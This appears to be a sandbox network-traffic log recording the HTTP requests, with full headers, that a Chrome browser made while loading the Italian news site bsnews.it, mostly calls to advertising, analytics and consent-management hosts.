Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2020/12/CopGuidaPoeticaBs19_11.jpg?resize=300%2C235&ssl=1 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bsnews.it/wp-content/uploads/2018/04/quattro-col-pallone-lr.jpg?fit=1200%2C799&ssl=1&resize=350%2C200 HTTP/1.1Host: i0.wp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sdks/OneSignalPageSDKES6.js?v=151605 HTTP/1.1Host: cdn.onesignal.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.os.tc/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=E_OE2G9R9S7M_PyIZbBan1JVSTzVmVAalc8Y80VYqy8-1711615862-1.0.1.1-XxXxue0M8IAfuodc7c7fUGhRFS7.KAzpGmuy3Fl8LZDDTdyMkuLf9p9U0GraQGlZRoBHZKO29jn7b2rlSSuk6A
Source: global traffic	HTTP traffic detected: GET /lib/prebid/prebid.codesour.js HTTP/1.1Host: cdn.codesour.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /codesour/bsnews/923.prod.js HTTP/1.1Host: cdn.codesour.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /codesour/bsnews/326.prod.js HTTP/1.1Host: cdn.codesour.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/jsd/r/86b660308efd07dd HTTP/1.1Host: bsnews.itConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _gcl_au=1.1.1773882818.1711615867; _ga=GA1.2.30849489.1711615863; _gid=GA1.2.323934972.1711615869; _gat_gtag_UA_11020879_7=1; cf_clearance=t9gExq.VTCgxStpdlhTVwJUo6EadbupAw55Sro013BQ-1711615870-1.0.1.1-pV_vKXAJuAO9zgXoYY73izX8Nm6CZI3He7cZADEvrBUEtjfnXTap.xx4DthdIgWLxd_rEhXZwUqylrJKmFbRxA
Source: global traffic	HTTP traffic detected: GET /images/core/emoji/14.0.0/svg/1f534.svg HTTP/1.1Host: s.w.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?ap=smptf&it=22f9505a-d568-49e1-8952-cc5110fd590b&tp=req&pos=0&loop=1&pb=1&rnd=1711615872208 HTTP/1.1Host: track.sunmedia.tvConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /images/core/emoji/14.0.0/svg/1f4fa.svg HTTP/1.1Host: s.w.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sdks/3p/prebid-js/0.3.0/sm-prebid.js HTTP/1.1Host: static.sunmedia.tvConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /8b0c9ead-8934-45cd-84f5-3219dc4e4700/launchpad-liveramp.js HTTP/1.1Host: launchpad-wrapper.privacymanager.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/tag/fe80191f-083a-4937-a545-d8845a551713 HTTP/1.1Host: boot.pbstck.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tag/js/gpt.js HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aax2/apstag.js HTTP/1.1Host: c.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /codesour/bsnews/434.prod.js HTTP/1.1Host: cdn.codesour.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /codesour/bsnews/267.prod.js HTTP/1.1Host: cdn.codesour.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /codesour/bsnews/47.prod.js HTTP/1.1Host: cdn.codesour.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /codesour/bsnews/280.prod.js HTTP/1.1Host: cdn.codesour.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /b3adde1f4bbb31c3485562d6e3ddceb4/?rnd=56538560 HTTP/1.1Host: sync.richaudience.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /codesour/bsnews/490.prod.js HTTP/1.1Host: cdn.codesour.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /codesour/bsnews/9.prod.js HTTP/1.1Host: cdn.codesour.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /codesour/bsnews/807.prod.js HTTP/1.1Host: cdn.codesour.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/managed/js/gpt/m202403210101/pubads_impl.js HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /omg.js HTTP/1.1Host: js.omg.neodatagroup.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn/prod/config?src=3627&u=https%3A%2F%2Fbsnews.it HTTP/1.1Host: c.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bao-csm/aps-comm/aps_csm.js HTTP/1.1Host: c.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /configs/3627 HTTP/1.1Host: config.aps.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cs/35874949/beacon.js HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /index-monitoring-bbdc39c.js HTTP/1.1Host: cdn.pbstck.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /index-refresh-bbdc39c.js HTTP/1.1Host: cdn.pbstck.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /user-sessions-aadee70.js HTTP/1.1Host: cdn.pbstck.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /collector-9d47d92.js HTTP/1.1Host: cdn.pbstck.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bsnews.itSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?zdid=648&env=mWeb&eventType=pageview HTTP/1.1Host: spl.zeotap.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/products.js HTTP/1.1Host: cstatic.weborama.frConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /route.js HTTP/1.1Host: js.tncid.appConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /latest/launchpad.bundle.js HTTP/1.1Host: launchpad.privacymanager.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /b3adde1f4bbb31c3485562d6e3ddceb4/?rnd=56538560&rd=1 HTTP/1.1Host: sync.richaudience.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pdid=2c9d0f98-4385-4c43-ba27-1zz1711615376
Source: global traffic	HTTP traffic detected: GET /www/delivery/asyncjs.php HTTP/1.1Host: adx.4strokemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /likes/?ver=13.2.2 HTTP/1.1Host: widgets.wp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /topicsapi.html?bidder=rtbhouse HTTP/1.1Host: topics.authorizedvault.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /t/9563-3051-01.js HTTP/1.1Host: t.seedtag.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /display/?zid=AACAFQeVCHLlefG8&schain=1.0,1!movingup.it,109,1,,, HTTP/1.1Host: ads.viralize.tvConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bsnews.it/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
